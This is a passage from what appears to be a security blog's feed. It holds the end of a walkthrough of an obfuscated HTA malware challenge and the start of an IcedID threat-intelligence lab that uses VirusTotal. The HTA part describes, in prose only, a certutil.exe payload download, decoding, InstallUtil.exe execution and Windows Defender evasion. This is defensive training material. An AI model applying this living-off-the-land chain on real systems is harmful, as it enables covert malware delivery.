data-flex-grow=&#34;142&#34; height=&#34;563&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://stumblesec.com/posts/letsdefend-obfuscated-hta-challenge-walkthrough/7eb00cbec3690e2db3930b610cebcb10_MD5.png&#34; width=&#34;800&#34;&gt;&lt;/p&gt;&#xA;&lt;p&gt;We can see that this command is built by combining the strings identified in the previous steps. So, we just need to plug in values for &lt;code&gt;str3&lt;/code&gt;, &lt;code&gt;str2&lt;/code&gt;, &lt;code&gt;str1&lt;/code&gt;, and normalize them to match the required answer format.&lt;/p&gt;&#xA;&lt;p&gt;While there might be a more efficient way to do this, I chose to perform this process manually in &lt;strong&gt;Notepad&lt;/strong&gt;.&lt;/p&gt;&#xA;&lt;p&gt;&lt;img class=&#34;gallery-image&#34; data-flex-basis=&#34;1021px&#34; data-flex-grow=&#34;425&#34; height=&#34;188&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://stumblesec.com/posts/letsdefend-obfuscated-hta-challenge-walkthrough/e5f481e6788d610394c1281bc8cae176_MD5.png&#34; width=&#34;800&#34;&gt;&lt;/p&gt;&#xA;&lt;p&gt;By doing this, we can determine that the full command downloads the second stage payload. Based on the comment on line 53, we can infer that the command sets an environment variable to help the script evade detection by Windows Defender. As we discovered earlier, the script uses &lt;code&gt;certutil.exe&lt;/code&gt; to download a file from the specified IP address, port, and path, saving it to &lt;code&gt;C:\Windows\Tasks\file.txt&lt;/code&gt;.&lt;/p&gt;&#xA;&lt;p&gt;By piecing this all together, we can confirm that the purpose of the &lt;code&gt;cmd&lt;/code&gt; variable is to stealthily download the file, &lt;code&gt;file.txt&lt;/code&gt;, using a living-off-the-land binary, &lt;code&gt;certutil.exe&lt;/code&gt;.&lt;/p&gt;&#xA;&lt;p&gt;&lt;img class=&#34;gallery-image&#34; data-flex-basis=&#34;2865px&#34; data-flex-grow=&#34;1194&#34; height=&#34;67&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://stumblesec.com/posts/letsdefend-obfuscated-hta-challenge-walkthrough/b7508d3045a7d16d9794540a9f831442_MD5.png&#34; width=&#34;800&#34;&gt;&lt;/p&gt;&#xA;&lt;h3 id=&#34;question-8-what-is-the-second-command-executed-by-the---&#34;&gt;Question 8: What is the second command executed by the &amp;quot; # &amp;quot;&#xA;&lt;/h3&gt;&lt;p&gt;ActiveXObject&amp;rdquo;&lt;/p&gt;&#xA;&lt;p&gt;We&amp;rsquo;ve made it to the last question! All that&amp;rsquo;s left is to look at the &lt;code&gt;cmd2&lt;/code&gt; variable on line 55, which is the second command executed by the &lt;code&gt;ActiveXObject&lt;/code&gt;.&lt;/p&gt;&#xA;&lt;p&gt;&lt;img class=&#34;gallery-image&#34; data-flex-basis=&#34;342px&#34; data-flex-grow=&#34;142&#34; height=&#34;560&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://stumblesec.com/posts/letsdefend-obfuscated-hta-challenge-walkthrough/0eb91383fbf700453ae3f83ba236f3dd_MD5.png&#34; width=&#34;800&#34;&gt;&lt;/p&gt;&#xA;&lt;p&gt;This command is more straightforward; it&amp;rsquo;s simply &lt;code&gt;str4&lt;/code&gt;, which we analyzed back in &lt;strong&gt;Question 4&lt;/strong&gt;. The answer for this question should be the same.&lt;/p&gt;&#xA;&lt;p&gt;&lt;img class=&#34;gallery-image&#34; data-flex-basis=&#34;2370px&#34; data-flex-grow=&#34;987&#34; height=&#34;81&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://stumblesec.com/posts/letsdefend-obfuscated-hta-challenge-walkthrough/78be9b5723e720d7b6c30dc8451dc4b1_MD5.png&#34; width=&#34;800&#34;&gt;&lt;/p&gt;&#xA;&lt;hr&gt;&#xA;&lt;h3 id=&#34;conclusion&#34;&gt;Conclusion:&#xA;&lt;/h3&gt;&lt;p&gt;&lt;img class=&#34;gallery-image&#34; data-flex-basis=&#34;396px&#34; data-flex-grow=&#34;165&#34; height=&#34;484&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://stumblesec.com/posts/letsdefend-obfuscated-hta-challenge-walkthrough/1e7409519ce69fb37d925f77c9cd33af_MD5.png&#34; width=&#34;800&#34;&gt;&lt;/p&gt;&#xA;&lt;p&gt;There we have it — great job! Using the &lt;strong&gt;Detect-It-Easy&lt;/strong&gt; and &lt;strong&gt;CyberChef&lt;/strong&gt;, we&amp;rsquo;ve successfully identified and decoded the application&amp;rsquo;s strings obfuscated with the &lt;strong&gt;ROT13&lt;/strong&gt; cipher. With this information, we discovered that the script within the HTA file downloaded a second-stage payload by leveraging the living-off-the-land binary, &lt;code&gt;certutil.exe&lt;/code&gt;. After that, this same LOLbin was used to decode the contents, forming a new binary which was executed using &lt;code&gt;InstallUtil.exe&lt;/code&gt;. During the investigation, we turned to &lt;strong&gt;MITRE ATT&amp;amp;CK&lt;/strong&gt; and &lt;strong&gt;Microsoft Learn&lt;/strong&gt; to reveal more details about each of these techniques to better understand the adversary&amp;rsquo;s actions on the victim&amp;rsquo;s device. Now that we have scoped the attack and completed our objectives, let&amp;rsquo;s close out this walkthrough of the &lt;a class=&#34;link&#34; href=&#34;https://app.letsdefend.io/challenge/obfuscated-hta&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;&lt;strong&gt;Obfuscated HTA&lt;/strong&gt;&lt;/a&gt; challenge!&lt;/p&gt;&#xA;&lt;p&gt;A big thank you to &lt;a class=&#34;link&#34; href=&#34;https://letsdefend.io/&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;&lt;strong&gt;LetsDefend&lt;/strong&gt;&lt;/a&gt;, for another engaging and challenging lab scenario. This was a really fun challenge for me to figure out how the obfuscation was performed and then leverage that information to understand the attack story. I chose this one as I&amp;rsquo;ve not had an opportunity to analyze an HTA file in a threat context before, so I wanted to see how that process would look. As always, I found so much value by researching on &lt;strong&gt;MITRE ATT&amp;amp;CK&lt;/strong&gt; and &lt;strong&gt;Microsoft Learn&lt;/strong&gt; to fully understand what TTPs we saw — it&amp;rsquo;s always a great practice for the real world. Awesome stuff!&lt;/p&gt;&#xA;&lt;p&gt;Thanks for the support and going through this investigation with me. Remember, if you found this walkthrough helpful don&amp;rsquo;t forget to &lt;strong&gt;give it a clap&lt;/strong&gt;! Your feedback really is invaluable and helps fuel my commitment to support your journey in the security community. Cybersecurity is a team sport and we&amp;rsquo;re in this together!&lt;/p&gt;&#xA;&lt;p&gt;Until next week&amp;rsquo;s challenge — stay curious and be safe out there!&lt;/p&gt;&#xA;&lt;p&gt;&lt;img class=&#34;gallery-image&#34; data-flex-basis=&#34;240px&#34; data-flex-grow=&#34;100&#34; height=&#34;250&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://stumblesec.com/posts/letsdefend-obfuscated-hta-challenge-walkthrough/07670987b1c64247f60a1576b9626235_MD5.png&#34; width=&#34;250&#34;&gt;&lt;/p&gt;&#xA;&lt;hr&gt;&#xA;&lt;h3 id=&#34;tools--references&#34;&gt;Tools &amp;amp; References:&#xA;&lt;/h3&gt;&lt;p&gt;&lt;strong&gt;Challenge Link:&lt;/strong&gt; &lt;a class=&#34;link&#34; href=&#34;https://app.letsdefend.io/challenge/obfuscated-hta&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;https://app.letsdefend.io/challenge/obfuscated-hta&lt;/a&gt;&lt;/p&gt;&#xA;&lt;p&gt;&lt;strong&gt;Wikipedia — HTML Application:&lt;/strong&gt; &lt;a class=&#34;link&#34; href=&#34;https://en.wikipedia.org/wiki/HTML_Application&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;https://en.wikipedia.org/wiki/HTML_Application&lt;/a&gt;&lt;/p&gt;&#xA;&lt;p&gt;&lt;strong&gt;Detect-It-Easy:&lt;/strong&gt; &lt;a class=&#34;link&#34; href=&#34;https://github.com/horsicq/Detect-It-Easy&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;https://github.com/horsicq/Detect-It-Easy&lt;/a&gt;&lt;/p&gt;&#xA;&lt;p&gt;&lt;strong&gt;Wikipedia — ROT13:&lt;/strong&gt; &lt;a class=&#34;link&#34; href=&#34;https://en.wikipedia.org/wiki/ROT13&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;https://en.wikipedia.org/wiki/ROT13&lt;/a&gt;&lt;/p&gt;&#xA;&lt;p&gt;&lt;strong&gt;CyberChef:&lt;/strong&gt; &lt;a class=&#34;link&#34; href=&#34;https://gchq.github.io/CyberChef/&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;https://gchq.github.io/CyberChef/&lt;/a&gt;&lt;/p&gt;&#xA;&lt;p&gt;&lt;strong&gt;MITRE ATT&amp;amp;CK — Certutil (S0160):&lt;/strong&gt; &lt;a class=&#34;link&#34; href=&#34;https://attack.mitre.org/software/S0160/&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;https://attack.mitre.org/software/S0160/&lt;/a&gt;&lt;/p&gt;&#xA;&lt;p&gt;&lt;strong&gt;MITRE ATT&amp;amp;CK — Ingress Tool Transfer (T1105):&lt;/strong&gt; &lt;a class=&#34;link&#34; href=&#34;https://attack.mitre.org/techniques/T1105/&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;https://attack.mitre.org/techniques/T1105/&lt;/a&gt;&lt;/p&gt;&#xA;&lt;p&gt;&lt;strong&gt;MITRE ATT&amp;amp;CK — Deobfuscate/Decode Files or Information (T1140):&lt;/strong&gt; &lt;a class=&#34;link&#34; href=&#34;https://attack.mitre.org/techniques/T1140/&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;https://attack.mitre.org/techniques/T1140/&lt;/a&gt;&lt;/p&gt;&#xA;&lt;p&gt;&lt;strong&gt;Microsoft Learn — Certutil:&lt;/strong&gt; &lt;a class=&#34;link&#34; href=&#34;https://learn.microsoft.com/en-us/windows-server/administration/windows-commands/certutil#-decode&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;https://learn.microsoft.com/en-us/windows-server/administration/windows-commands/certutil#-decode&lt;/a&gt;&lt;/p&gt;&#xA;&lt;p&gt;&lt;strong&gt;Microsoft Learn — InstallUtil.exe (Installer tool):&lt;/strong&gt; &lt;a class=&#34;link&#34; href=&#34;https://learn.microsoft.com/en-us/dotnet/framework/tools/installutil-exe-installer-tool&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;https://learn.microsoft.com/en-us/dotnet/framework/tools/installutil-exe-installer-tool&lt;/a&gt;&lt;/p&gt;&#xA;&lt;p&gt;&lt;strong&gt;Microsoft Learn — wscript:&lt;/strong&gt; &lt;a class=&#34;link&#34; href=&#34;https://learn.microsoft.com/en-us/windows-server/administration/windows-commands/wscript&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;https://learn.microsoft.com/en-us/windows-server/administration/windows-commands/wscript&lt;/a&gt;&lt;/p&gt;&#xA;</description>
        </item><item>
            <title>CyberDefenders — IcedID Lab Walkthrough</title>
            <link>https://stumblesec.com/posts/cyberdefenders-icedid-lab-walkthrough/</link>
            <pubDate>Mon, 17 Feb 2025 00:00:00 +0000</pubDate>
            <guid>https://stumblesec.com/posts/cyberdefenders-icedid-lab-walkthrough/</guid>
            <description>&lt;img src=&#34;https://stumblesec.com/posts/cyberdefenders-icedid-lab-walkthrough/4c487a01ebcb765eec0f5b09f0c9d0cf_MD5.png&#34; alt=&#34;Featured image of post CyberDefenders — IcedID Lab Walkthrough&#34; /&gt;&lt;h3 id=&#34;cyberdefenders-icedid-lab-walkthrough&#34;&gt;CyberDefenders —IcedID Lab Walkthrough&#xA;&lt;/h3&gt;&lt;h4 id=&#34;a-cyber-threat-intelligence-challenge-using-virustotal-mitre-attck-and-recorded-futuretriage&#34;&gt;A Cyber Threat Intelligence Challenge using VirusTotal, MITRE ATT&amp;amp;CK, and Recorded Future Triage.&#xA;&lt;/h4&gt;&lt;p&gt;&lt;img class=&#34;gallery-image&#34; data-flex-basis=&#34;404px&#34; data-flex-grow=&#34;168&#34; height=&#34;238&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://stumblesec.com/posts/cyberdefenders-icedid-lab-walkthrough/4c487a01ebcb765eec0f5b09f0c9d0cf_MD5.png&#34; width=&#34;401&#34;&gt;&lt;/p&gt;&#xA;&lt;p&gt;Image Credit: &lt;a class=&#34;link&#34; href=&#34;https://cyberdefenders.org/&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;https://cyberdefenders.org/&lt;/a&gt;&lt;/p&gt;&#xA;&lt;h3 id=&#34;introduction&#34;&gt;Introduction:&#xA;&lt;/h3&gt;&lt;p&gt;&lt;strong&gt;Welcome to my weekly walkthrough!&lt;/strong&gt; If you&amp;rsquo;ve stumbled across this blog searching for a comprehensive guide to the &lt;a class=&#34;link&#34; href=&#34;https://cyberdefenders.org/blueteam-ctf-challenges/icedid/&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;&lt;strong&gt;IcedID Lab&lt;/strong&gt;&lt;/a&gt; from &lt;a class=&#34;link&#34; href=&#34;https://cyberdefenders.org/&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;&lt;strong&gt;CyberDefenders&lt;/strong&gt;&lt;/a&gt;, you&amp;rsquo;re in the right place. Prepare to dip your toes into the world of cyber threat intelligence!&lt;/p&gt;&#xA;&lt;p&gt;In this scenario, we&amp;rsquo;re investigating a sample of the &lt;a class=&#34;link&#34; href=&#34;https://attack.mitre.org/software/S0483/&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;&lt;strong&gt;IcedID&lt;/strong&gt;&lt;/a&gt; banking malware. Our goal is to understand how it operates and identify the threat actor behind it. Having this intelligence can help our team stay one step ahead of this potential threat.&lt;/p&gt;&#xA;&lt;p&gt;To analyze the sample, we&amp;rsquo;ll leverage &lt;a class=&#34;link&#34; href=&#34;https://www.virustotal.com/&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;&lt;strong&gt;VirusTotal&lt;/strong&gt;&lt;/a&gt; and &lt;a class=&#34;link&#34; href=&#34;https://tria.ge/&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;&lt;strong&gt;Recorded Future Triage (tria.ge)&lt;/strong&gt;&lt;/a&gt; to review previous analysis results about the malware. Then, we&amp;rsquo;ll pivot to &lt;strong&gt;MITRE ATT&amp;amp;CK,&lt;/strong&gt; a global knowledge base of adversary tactics and techniques, to determine which threat actors are linked to the malware. Sounds like fun, right? Let&amp;rsquo;s get into it!&lt;/p&gt;&#xA;&lt;p&gt;And if you find this walkthrough helpful — whether it levels-up your skills, gets you over a stumbling block, or serves as a handy reference — please give it a clap and consider following me for more content like this.&lt;/p&gt;&#xA;&lt;p&gt;Thanks for reading and going on this investigation with me!&lt;/p&gt;&#xA;&lt;p&gt;&lt;strong&gt;Challenge Link:&lt;/strong&gt; &lt;a class=&#34;link&#34; href=&#34;https://cyberdefenders.org/blueteam-ctf-challenges/icedid/&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;https://cyberdefenders.org/blueteam-ctf-challenges/icedid/&lt;/a&gt;&lt;/p&gt;&#xA;&lt;hr&gt;&#xA;&lt;h3 id=&#34;challenge-scenario&#34;&gt;Challenge Scenario:&#xA;&lt;/h3&gt;&#xA;    &lt;blockquote&gt;&#xA;        &lt;p&gt;&lt;strong&gt;A cyber threat group was identified for initiating widespread phishing campaigns to distribute further malicious payloads. The most frequently encountered payloads were IcedID. You have been given a hash of an IcedID sample to analyze and monitor the activities of this advanced persistent threat (APT) group.&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;    &lt;/blockquote&gt;&#xA;&lt;hr&gt;&#xA;&lt;h3 id=&#34;setup-the-remnux-analysis-environment--extract-the-challenge-file&#34;&gt;Setup the REMnux Analysis Environment &amp;amp; Extract the challenge file:&#xA;&lt;/h3&gt;&lt;p&gt;Safety first! When working with lab/challenge files from &lt;em&gt;CyberDefenders&lt;/em&gt; &lt;em&gt;(or any educational lab/challenge/range),&lt;/em&gt; it&amp;rsquo;s important to be responsible and stay safe by interacting with potentially malicious files in a dedicated, isolated virtual machine environment. For this challenge I&amp;rsquo;m using &lt;a class=&#34;link&#34; href=&#34;https://remnux.org/&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;&lt;strong&gt;REMnux&lt;/strong&gt;&lt;/a&gt;&lt;em&gt;,&lt;/em&gt; a specialized &lt;em&gt;Linux&lt;/em&gt; distribution for malware analysis.&lt;/p&gt;&#xA;&lt;p&gt;To keep this write-up focused, I&amp;rsquo;m going to skip a step-by-step setup directions of &lt;strong&gt;REMnux&lt;/strong&gt;&lt;em&gt;,&lt;/em&gt; but if you&amp;rsquo;d like to set up your own environment, please follow the guide provided by &lt;strong&gt;REMnux&lt;/strong&gt; directly. For reference, I used the virtual appliance method:&lt;/p&gt;&#xA;&lt;p&gt;&lt;a class=&#34;link&#34; href=&#34;https://docs.remnux.org/install-distro/get-virtual-appliance?source=post_page-----d2311959d5f3--------------------------------&#34;  title=&#34;https://docs.remnux.org/install-distro/get-virtual-appliance?source=post_page-----d2311959d5f3--------------------------------&#34;&#xA;     target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;&lt;strong&gt;Get the Virtual Appliance | REMnux Documentation&lt;/strong&gt;&#xA;_The easiest way to get the REMnux distro is to download the REMnux virtual appliance in the OVA format, import it into&amp;hellip;_docs.remnux.org&lt;/a&gt;&lt;a class=&#34;link&#34; href=&#34;https://docs.remnux.org/install-distro/get-virtual-appliance?source=post_page-----d2311959d5f3--------------------------------&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;&lt;/a&gt;&lt;/p&gt;&#xA;&lt;p&gt;Once we have a safe virtual environment created, updated, isolated, and snapshotted, we can extract the challenge file and start the investigation!&lt;/p&gt;&#xA;&lt;hr&gt;&#xA;&lt;h3 id=&#34;question-1-what-is-the-name-of-the-file-associated-with-the-givenhash&#34;&gt;Question 1: What is the name of the file associated with the given hash?&#xA;&lt;/h3&gt;&lt;p&gt;Let&amp;rsquo;s kick off this challenge by extracting the challenge file using the password linked in the challenge.&lt;/p&gt;&#xA;&lt;p&gt;&lt;img class=&#34;gallery-image&#34; data-flex-basis=&#34;1005px&#34; data-flex-grow=&#34;418&#34; height=&#34;191&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://stumblesec.com/posts/cyberdefenders-icedid-lab-walkthrough/2af92cf619106d4be656274493ee95ce_MD5.png&#34; width=&#34;800&#34;&gt;&lt;/p&gt;&#xA;&lt;p&gt;Once extracted, we&amp;rsquo;ll see the file, &lt;code&gt;hash.txt&lt;/code&gt;, which contains a file hash of an &lt;a class=&#34;link&#34; href=&#34;https://attack.mitre.org/software/S0483/&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;&lt;strong&gt;IcedID&lt;/strong&gt;&lt;/a&gt; malware sample. According to &lt;a class=&#34;link&#34; href=&#34;https://attack.mitre.org/software/S0483/&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;&lt;strong&gt;MITRE ATT&amp;amp;CK&lt;/strong&gt;&lt;/a&gt;, this malware &amp;quot; # &amp;ldquo;is a modular banking malware designed to steal financial information that has been observed in the wild since at least 2017&amp;rdquo;.&lt;/p&gt;&#xA;&lt;p&gt;With the unique file hash in our possession, we&amp;rsquo;ll to external services to gather threat intelligence and learn more about the malware. We&amp;rsquo;ll start by using &lt;a class=&#34;link&#34; href=&#34;https://www.virustotal.com/&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;&lt;strong&gt;VirusTotal&lt;/strong&gt;&lt;/a&gt; first.&lt;/p&gt;&#xA;&lt;p&gt;191eda0c539d284b29efe556abb05cd75a9077a0&lt;/p&gt;&#xA;&lt;p&gt;In your web browser, navigate to the &lt;a class=&#34;link&#34; href=&#34;https://www.virustotal.com/&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;&lt;strong&gt;VirusTotal&lt;/strong&gt;&lt;/a&gt; site and paste the file hash into the search field.&lt;/p&gt;&#xA;&lt;p&gt;&lt;img class=&#34;gallery-image&#34; data-flex-basis=&#34;1600px&#34; data-flex-grow=&#34;666&#34; height=&#34;120&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://stumblesec.com/posts/cyberdefenders-icedid-lab-walkthrough/b8154293de931ac6ab561f0d98a4b79c_MD5.png&#34; width=&#34;800&#34;&gt;&lt;/p&gt;&#xA;&lt;p&gt;&lt;a class=&#34;link&#34; href=&#34;https://www.virustotal.com/gui/file/d86405130184186154daa4a5132dd1364ab05d1f14034c7f0a0cda690a91116d&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;https://www.virustotal.com/gui/file/d86405130184186154daa4a5132dd1364ab05d1f14034c7f0a0cda690a91116d&lt;/a&gt;&lt;/p&gt;&#xA;&lt;p&gt;To answer &lt;strong&gt;Question 1&lt;/strong&gt;, navigate to the &amp;quot; # &amp;quot;&lt;/p&gt;&#xA;&lt;p&gt;**Details&amp;quot;&#xA;** tab and scroll to the **&amp;quot; # &amp;quot;&lt;/p&gt;&#xA;&lt;p&gt;Names&amp;quot;&#xA;** section, to find the file names associated with the hash. One of them matches the format given by the question.&lt;/p&gt;&#xA;&lt;p&gt;&lt;img class=&#34;gallery-image&#34; data-flex-basis=&#34;1005px&#34; data-flex-grow=&#34;418&#34; height=&#34;191&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://stumblesec.com/posts/cyberdefenders-icedid-lab-walkthrough/5979f366bb2186642825fa737d1625bd_MD5.png&#34; width=&#34;800&#34;&gt;&lt;/p&gt;&#xA;&lt;h3 id=&#34;question-2-can-you-identify-the-filename-of-thegiffile-that-was-deployed&#34;&gt;Question 2: Can you identify the filename of the &lt;strong&gt;GIF&lt;/strong&gt; file that was deployed?&#xA;&lt;/h3&gt;&lt;p&gt;Next, to answer &lt;strong&gt;Question 2,&lt;/strong&gt; we need to identify the GIF downloaded by the malware which we can locate in several places on &lt;strong&gt;VirusTotal.&lt;/strong&gt;&lt;/p&gt;&#xA;&lt;p&gt;The first spot we can check is on the &amp;quot; # &amp;quot;&lt;/p&gt;&#xA;&lt;p&gt;&lt;strong&gt;Relations&lt;/strong&gt;&amp;quot;&#xA;tab under the &amp;quot; # &amp;quot;&lt;/p&gt;&#xA;&lt;p&gt;**Contacted URLs&amp;quot;&#xA;** section. There we&amp;rsquo;ll find several URLs that point to the file, &lt;code&gt;3003.gif&lt;/code&gt;.&lt;/p&gt;&#xA;&lt;p&gt;&lt;img class=&#34;gallery-image&#34; data-flex-basis=&#34;436px&#34; data-flex-grow=&#34;181&#34; height=&#34;440&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://stumblesec.com/posts/cyberdefenders-icedid-lab-walkthrough/bf54ed0b719f99583c643ec21d7467fe_MD5.png&#34; width=&#34;800&#34;&gt;&lt;/p&gt;&#xA;&lt;p&gt;Another area that we can discover this information is on the &amp;quot; # &amp;quot;&lt;/p&gt;&#xA;&lt;p&gt;&lt;strong&gt;Behavior&lt;/strong&gt;&amp;quot;&#xA; &lt;strong&gt;tab&lt;/strong&gt; under **&amp;quot; # &amp;quot;&lt;/p&gt;&#xA;&lt;p&gt;Network Communication**&amp;quot;&lt;/p&gt;&#xA;&#xA;    &lt;blockquote&gt;&#xA;        &lt;p&gt;&amp;quot; # &amp;quot;&lt;/p&gt;&#xA;&#xA;    &lt;/blockquote&gt;&#xA;&lt;p&gt;&lt;strong&gt;HTTP Requests,&lt;/strong&gt;&amp;quot;&#xA;where network communications are documented after the file has been executed in the &lt;strong&gt;VirusTotal&lt;/strong&gt; sandbox. We&amp;rsquo;ll see the same references to the GIF file that we saw before.&lt;/p&gt;&#xA;&lt;p&gt;&lt;img class=&#34;gallery-image&#34; data-flex-basis=&#34;217px&#34; data-flex-grow=&#34;90&#34; height=&#34;882&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://stumblesec.com/posts/cyberdefenders-icedid-lab-walkthrough/b4affd332325532e8d7a750968ff883a_MD5.png&#34; width=&#34;800&#34;&gt;&lt;/p&gt;&#xA;&lt;p&gt;&lt;img class=&#34;gallery-image&#34; data-flex-basis=&#34;994px&#34; data-flex-grow=&#34;414&#34; height=&#34;193&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://stumblesec.com/posts/cyberdefenders-icedid-lab-walkthrough/1371bc6243a2b9d22c5253a46a837be2_MD5.png&#34; width=&#34;800&#34;&gt;&lt;/p&gt;&#xA;&lt;h3 id=&#34;question-3-how-many-domains-does-the-malware-look-to-download-the-additional-payload-file-inq2&#34;&gt;Question 3: How many domains does the malware look to download the additional payload file in &lt;strong&gt;Q2&lt;/strong&gt;?&#xA;&lt;/h3&gt;&lt;p&gt;We&amp;rsquo;ve already stumbled on the answer in the previous question when we examined the &amp;quot; # &amp;quot;&lt;/p&gt;&#xA;&lt;p&gt;&lt;strong&gt;Contacted URLs&lt;/strong&gt;&amp;quot;&#xA;section. Looking for URLs hosting &lt;code&gt;3003.gif&lt;/code&gt;, we&amp;rsquo;ll note five listed domains:&lt;/p&gt;&#xA;&lt;p&gt;&lt;img class=&#34;gallery-image&#34; data-flex-basis=&#34;436px&#34; data-flex-grow=&#34;181&#34; height=&#34;440&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://stumblesec.com/posts/cyberdefenders-icedid-lab-walkthrough/bf54ed0b719f99583c643ec21d7467fe_MD5.png&#34; width=&#34;800&#34;&gt;&lt;/p&gt;&#xA;&lt;p&gt;&lt;img class=&#34;gallery-image&#34; data-flex-basis=&#34;880px&#34; data-flex-grow=&#34;366&#34; height=&#34;218&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://stumblesec.com/posts/cyberdefenders-icedid-lab-walkthrough/772c3dd6c1f180c2b8cecb69fbeb08b9_MD5.png&#34; width=&#34;800&#34;&gt;&lt;/p&gt;&#xA;&lt;h3 id=&#34;question-4-from-the-domains-mentioned-inq3-a-dns-registrar-was-predominantly-used-by-the-threat-actor-to-host-their-harmful-content-enabling-the-malwares-functionality-can-you-specify-the-registrar-inc&#34;&gt;Question 4: From the domains mentioned in &lt;strong&gt;Q3&lt;/strong&gt;, a DNS registrar was predominantly used by the threat actor to host their harmful content, enabling the malware&amp;rsquo;s functionality. Can you specify the Registrar INC?&#xA;&lt;/h3&gt;&lt;p&gt;Now, let&amp;rsquo;s take a closer look at the five domains we discovered in the previous question, focusing on the &amp;quot; # &amp;quot;&lt;/p&gt;&#xA;&lt;p&gt;&lt;strong&gt;Contacted Domains&lt;/strong&gt;&amp;quot;&#xA;section. This table gives us some additional, high-level information including the domain registrars for each entry.&lt;/p&gt;&#xA;&lt;p&gt;&lt;img class=&#34;gallery-image&#34; data-flex-basis=&#34;574px&#34; data-flex-grow=&#34;239&#34; height=&#34;334&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://stumblesec.com/posts/cyberdefenders-icedid-lab-walkthrough/658cf6585dce320e6bf805d6a509dcd7_MD5.png&#34; width=&#34;800&#34;&gt;&lt;/p&gt;&#xA;&lt;p&gt;To answer &lt;strong&gt;Question 4&lt;/strong&gt;, we need to determine the predominant registrar among the five hosting the GIF file. From the table, we&amp;rsquo;ll identify that 2/5 used 